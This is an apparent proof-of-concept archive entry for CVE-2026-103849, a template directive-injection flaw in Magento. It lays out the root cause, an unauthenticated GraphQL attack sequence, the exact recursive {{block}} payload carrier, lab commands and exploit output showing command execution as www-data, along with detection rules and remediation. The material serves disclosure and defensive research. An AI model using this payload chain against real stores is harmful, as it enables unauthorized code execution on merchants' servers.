PoC Archive PoC Archive
CVE-2026-103849 category: web CVSS 10 (CRITICAL)
Patched

BlockStrap — Magento Template-Engine Directive Injection to Conditional RCE (CVE-2026-103849)

Published: 2026-11-25 • Researcher: dinosn (Nicolas Krassas) — lab/PoC author; Sansec — BlockStrap research; Adobe PSIRT — APSB26-153 advisory

Target software Adobe Commerce / Magento Open Source (email template filter, customer address formatter and BlockStrap layout block dispatch)
Affected versions Not enumerated in NVD (empty product and version ranges). The lab reproduces on Magento Open Source 2.4.9 at revision 755e34dd689021c5165db9d35ecff74f7dc51527 with the September VULN-39341 hotfix applied and the October APSB26-153 BlockStrap fix absent; confirm the exact Commerce edition, version and patch level against Adobe APSB26-153 (see references)
Status PoC
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-103849 (Adobe APSB26-153)
Category
web
Affected product
Adobe Commerce / Magento Open Source (email template filter, customer address formatter and BlockStrap layout block dispatch)
Affected versions
Not enumerated in NVD (empty product and version ranges). The lab reproduces on Magento Open Source 2.4.9 at revision 755e34dd689021c5165db9d35ecff74f7dc51527 with the September VULN-39341 hotfix applied and the October APSB26-153 BlockStrap fix absent; confirm the exact Commerce edition, version and patch level against Adobe APSB26-153 (see references)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-18
Author / Researcherdinosn (Nicolas Krassas) — lab/PoC author; Sansec — BlockStrap research; Adobe PSIRT — APSB26-153 advisory
CVE / AdvisoryCVE-2026-103849 (Adobe APSB26-153)
Categoryweb
SeverityCritical
CVSS Score10.0 (NVD; the CVSS vector is not present in the supplied worklist/NVD data — see references)
StatusPoC
TagsRCE, Magento, Adobe Commerce, template-injection, CWE-1336, unauthenticated, GraphQL, directive-injection, BlockStrap, PHP
RelatedN/A

Affected Target

FieldValue
Software / SystemAdobe Commerce / Magento Open Source (email template filter, customer address formatter and BlockStrap layout block dispatch)
Versions AffectedNot enumerated in NVD (empty product and version ranges). The lab reproduces on Magento Open Source 2.4.9 at revision 755e34dd689021c5165db9d35ecff74f7dc51527 with the September VULN-39341 hotfix applied and the October APSB26-153 BlockStrap fix absent; confirm the exact Commerce edition, version and patch level against Adobe APSB26-153 (see references)
Language / PlatformPHP 8.3 (php:8.3-fpm-bookworm) behind nginx 1.27, with MariaDB 11.4, OpenSearch 2.19 and Redis 7 in Docker Compose
Authentication RequiredNo
Network Access RequiredYes

Summary

Adobe Commerce and Magento Open Source are affected by an improper neutralization of special elements used in a template engine (CWE-1336) that can result in arbitrary code execution in the context of the current user; exploitation requires no user interaction and the scope is changed. The public lab PoC reproduces the BlockStrap second-pass directive-injection primitive on Magento Open Source 2.4.9: an anonymous guest GraphQL flow stores a recursive template carrier in the billing address, a declined Payflow response enters the failed-payment notification path, and the resulting email filter rescans a signed block directive that a nested framework filter returned unchanged. In the vulnerable state the stock Text block is dispatched through the email filter’s block directive handler, and the lab’s explicitly labeled gadget then runs a fixed id command as www-data. The packaged command track is conditional: it requires an explicitly installed, non-stock gadget block, and the repository does not claim a stock full remote-code-execution chain.

Vulnerability Details

Root Cause

Magento’s template filter resolves directives, then generically rescans directives that nested filters signed. At filtering depth greater than one, the engine signs every matched directive whose processor returned the original text unchanged — including directives the child filter never understood. A weaker child (the base framework filter used while formatting a customer address) therefore hands an attacker-shaped {{block ...}} back as “deferred”, the root email filter trusts the request-scoped signature, and Magento\Email\Model\Template\Filter::blockDirective() dispatches it. blockDirective() builds the caller-selected class through Layout with flat string data and invokes the selected zero-argument output= method. Adobe’s October fix (APSB26-153) removes the generic signed rescan; only directives registered by deferToParent() in the new DeferredDirectiveRegistry can be resolved by the root.

Attack Vector

A single unauthenticated HTTP request sequence against public guest GraphQL operations and the PayPal Payflow mutation: createEmptyCart, setGuestEmailOnCart, setBillingAddressOnCart with a recursive address-format carrier in the visible company field, then handlePayflowProResponse with a declined payload (RESULT=12&RESPMSG=Declined). Address formatting reaches a nested base-filter pass that leaves the unknown {{block}} unchanged and signs it; the value is stored as billingAddressHtml; a later failed-payment email pass shares the request signature, recognizes it and dispatches the block. The address renderer HTML-encodes quotes, so the working carrier uses the template language’s unquoted parameter form.

Impact

Attacker-selected block construction and method invocation in the web tier, reached from an anonymous request with no user interaction. On its own the stock primitive invokes a legitimate block method (the lab’s non-destructive oracle is Magento\Framework\View\Element\Text::getCacheKey() returning CUSTOM_BLOCK_<nonce>), which proves dispatch but not code execution. When a deployment also exposes a compatible BlockInterface class with a zero-argument command sink, the same dispatcher yields command execution as the PHP-FPM user — the lab demonstrates this with its own module, which runs id as www-data. Adobe rates the underlying issue CVSS 10.0 with scope changed.

Environment / Lab Setup

Output
OS:          Linux amd64 (Docker Engine 20.10.25, Compose v2.26.1); other
             architectures are not covered by the recorded evidence
Target:      Magento Open Source 2.4.9 (commit 755e34dd689021c5165db9d35ecff74f7dc51527)
             in Docker Compose with the September VULN-39341 hotfix applied and
             the APSB26-153 BlockStrap engine fix absent (vulnerable state)
Attacker:    Host-side Python 3.10+ (standard library only)
Tools:       Docker Compose, Bash, GNU Make, Python 3, PHP CLI (static checks), curl
Oracle:      MailHog on 127.0.0.1:18097; Magento gateway on 127.0.0.1:18096 only
Resources:   >= 8 GB RAM, 10-15 GB free disk, internet access for the image build;
             Linux needs vm.max_map_count >= 262144 for OpenSearch

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
git clone --depth=1 https://github.com/dinosn/cve-2026-103849-blockstrap-lab /tmp/blockstrap-lab
cp -r poc gadget scripts compose.yaml Makefile /tmp/blockstrap-lab/
cd /tmp/blockstrap-lab

cp .env.example .env
make full                  # verify, build, wait for install, then run all four A/B tracks

make vulnerable            # VULN-39341 only
make patched               # VULN-39341 plus the October APSB26-153 fix
make gadget-install        # install the labeled BlockStrapLab_Gadget module
make http-rce-ab           # conditional fixed-id A/B; removes the gadget at exit
make reset                 # delete only this lab's containers, network and volumes

All commands below are run from that checkout; the paths under poc/, gadget/, scripts/, compose.yaml and Makefile are the same files archived in this entry.

Patch provenance is checksum-pinned; scripts/set-state.sh refuses to touch a source tree matching neither known patch state. python3 scripts/verify-patch-provenance.py --vuln-archive ... --october-archive ... reproduces and compares the shipped patches byte-for-byte.

Proof of Concept

Step-by-Step Reproduction

  1. Build the pinned stack — make full runs the static verifier, starts the digest-pinned Compose stack and waits for the Magento 2.4.9 first boot to finish.
  2. Select the vulnerable state — make vulnerable applies only the September VULN-39341 hotfix, leaving the APSB26-153 BlockStrap engine fix absent.
  3. Install the labeled lab gadget — make gadget-install copies gadget/BlockStrapLab_Gadget into app/code, enables it and confirms its exact file hashes. The module is authored for this lab and runs only the fixed command id.
  4. Send the unauthenticated chain — python3 poc/http_rce_probe.py --expect vulnerable creates a guest cart, stores the recursive address carrier, submits the declined Payflow response, and waits for one nonce-correlated failed-payment email in MailHog.
  5. Confirm both oracles — the captured email must contain RCEGADGET:<nonce>:<base64 id output>:RCEGADGET, and the same output must exist in the nonce-named marker file under var/export. The patched state must capture the same failure email but show neither marker nor marker file.
  6. Restore — the A/B wrapper’s exit trap re-applies the October patch, deletes validated marker paths and removes the gadget module.

Exploit Code

See poc/http_rce_probe.py for the full chain, poc/http_primitive_probe.py for the shared GraphQL/carrier helpers, poc/http_file_trigger.py for the bounded stock side-effect probe, and gadget/BlockStrapLab_Gadget/Block/Rce.php for the labeled gadget. A/B orchestration is in scripts/run-rce-ab.sh.

The carrier shape (from the probe; the directive text is stored in the billing address company attribute):

Output
1
2
{{if postcode}}{{var postcode}}{{/if}}{{/var}}{{if postcode}}{{var postcode}}{{/if}}
{{if city}}{{block class=BlockStrapLab\Gadget\Block\Rce nonce=BS<24 hex> output=executeFixedIdProbe}}{{/if}}

The gadget is deliberately non-steerable: it validates nonce against /\ABS[0-9a-f]{24}\z/D, runs shell_exec('id 2>&1'), writes the output to var/export/rce-<nonce>.txt and returns the base64 marker above.

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
[*] created an unauthenticated guest cart
[*] stored the recursive billing-address carrier
{
  "command_execution": true,
  "conditional_command_execution_confirmed": true,
  "correlated_mail_count": 1,
  "correlated_marker_count": 1,
  "exactly_one_correlated_mail": true,
  "expectation_met": true,
  "expected_state": "vulnerable",
  "gadget_marker_observed": true,
  "gadget_uid_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n",
  "marker_path": "/var/www/html/var/export/rce-BS<nonce>.txt",
  "trigger_http_status": 200,
  "trigger_reported_graphql_error": true
}
[RCE A/B] vulnerable: exit=0 expectation=true fixed-id=true correlated-mail=1 marker-content-match=true
[RCE A/B] patched:   exit=0 expectation=true fixed-id=false correlated-mail=1 marker-file-absent=true
[PASS] The conditional fixed-id gadget chain matches both A/B controls.

The stock, gadget-free tracks instead report CUSTOM_BLOCK_<nonce> in the email (component and HTTP A/B), and one four-byte var/export/<32-hex>.csv with SHA-256 b42f2099187886def637d6aa840022266e05cb6c987a9394e708e23cd505eb46 in the file A/B; both disappear after the October fix. Recorded runs: VALIDATION.md; the raw run logs are in the upstream repository’s evidence/ directory, which was not copied.

Detection & Indicators of Compromise

  • Unauthenticated guest GraphQL sequences createEmptyCart → setGuestEmailOnCart → setBillingAddressOnCart → handlePayflowProResponse from one client, where the billing company field contains {{block, {{var, {{if or nested directive syntax.
  • Declined Payflow payloads (RESPMSG=Declined, RESULT=12) that are followed immediately by a failed-payment email carrying template syntax or CUSTOM_BLOCK_/RCEGADGET: markers.
  • Outbound email (or MailHog/SMTP capture) whose body contains {{block class= or a base64 blob wrapped in RCEGADGET:...:RCEGADGET.
  • New files in var/export/ with an unexpected 32-hex .csv name, and unexpected rce-*.txt files; Magento var/export should normally contain only operator-initiated exports.
  • PHP-FPM / application logs showing layout block construction failures (“Invalid block type”, layout generation errors) or shell_exec activity from the frontend pool in production mode.
  • Requests or emails whose quoted attributes survive HTML encoding as unquoted template parameters (class=, output=, cache_key=), a strong sign of deliberate carrier crafting.

SIEM / IDS rule (example):

Output
1
2
3
4
5
6
alert http any any -> any any (msg:"CVE-2026-103849 BlockStrap directive carrier in Magento GraphQL"; \
  content:"handlePayflowProResponse"; http_client_body; \
  content:"{{block"; http_client_body; sid:9002613;)

alert smtp any any -> any any (msg:"CVE-2026-103849 BlockStrap block directive in outbound mail"; \
  content:"{{block class="; sid:9002614;)

Remediation

ActionDetail
PatchApply Adobe APSB26-153 for CVE-2026-103849 through the supported Composer/patch process, or upgrade to a fixed Commerce/Open Source release; the repository’s patches/APSB26-153_BlockStrap_249-monorepo.patch is a path-mapped lab artifact for the 2.4.9 public monorepo and must not be applied to a production install. Flush caches and confirm the vendor-identified control points, including that a nested filter’s unchanged {{block}} no longer renders.
WorkaroundIf patching is delayed, disable guest checkout and/or the Magento_PaypalGraphQl module if unused, and put a WAF/reverse proxy rule in front of Magento that rejects {{block, {{var, {{if and {{template sequences in JSON bodies, query strings and address fields. Neither measure removes the root cause.
Config HardeningRun production mode, keep the PHP-FPM user unprivileged with a read-only code tree and a separate writable var/, restrict var/export to operator use, remove unused block/extension classes that expose zero-argument command sinks, restrict egress from the web tier, and alert on template directives correlated with guest-cart traffic.

References

Notes

Auto-ingested from https://github.com/dinosn/cve-2026-103849-blockstrap-lab on 2026-11-25. Review verdict: a real, working PoC-lab — not a detector or scanner — but deliberately limited, so Status is PoC rather than Weaponized. It proves the stock directive-injection primitive, a stock unauthenticated GraphQL-to-email carrier (oracle CUSTOM_BLOCK_<nonce> in a local MailHog message) and a bounded stock side effect (one fixed-content CSV in var/export). Command execution is conditional: the repository’s own BlockStrapLab_Gadget module supplies the otherwise missing block-sink precondition and runs only the fixed command id; the authors explicitly do not claim a stock Magento full-RCE chain, and a bounded search on 2026-10-18 found no public full-RCE PoC. The upstream re-analysis (REANALYSIS.md, not copied) records that no compatible stock command gadget was validated in the reviewed 2.4.9 subset.

Operational limits: the quote address company column caps the carrier at 255 characters (the hardened gadget carrier is 208 ASCII bytes), so arbitrary real-world gadget classes and parameter sets may not fit; the MailHog oracle is local and a remote attacker normally cannot read the merchant failure email; the lab assumes Magento_PaypalGraphQl enabled, guest checkout allowed, a visible company attribute and the default HTML address format.

License: the repository is MIT (Copyright 2026 Nicolas Krassas), archived here with attribution for authorized research only. The bundled Magento patch artifacts are path-mapped lab derivatives; Adobe’s complete October patch and the Magento 2.4.9 source (OSL-3.0) are not redistributed in this entry. Files not copied: .git, .env/.env.example (lab default credentials), the Docker/PHP/nginx build files (php/, nginx/), patches/, the remaining A/B wrappers and verify-release.sh, the evidence/ logs, and the upstream REANALYSIS.md; the full lab build therefore needs the upstream repository. EPSS at ingestion was 0.01349; the CVE is not in CISA KEV. Do not execute this code against systems you do not own or lack written authorization to test.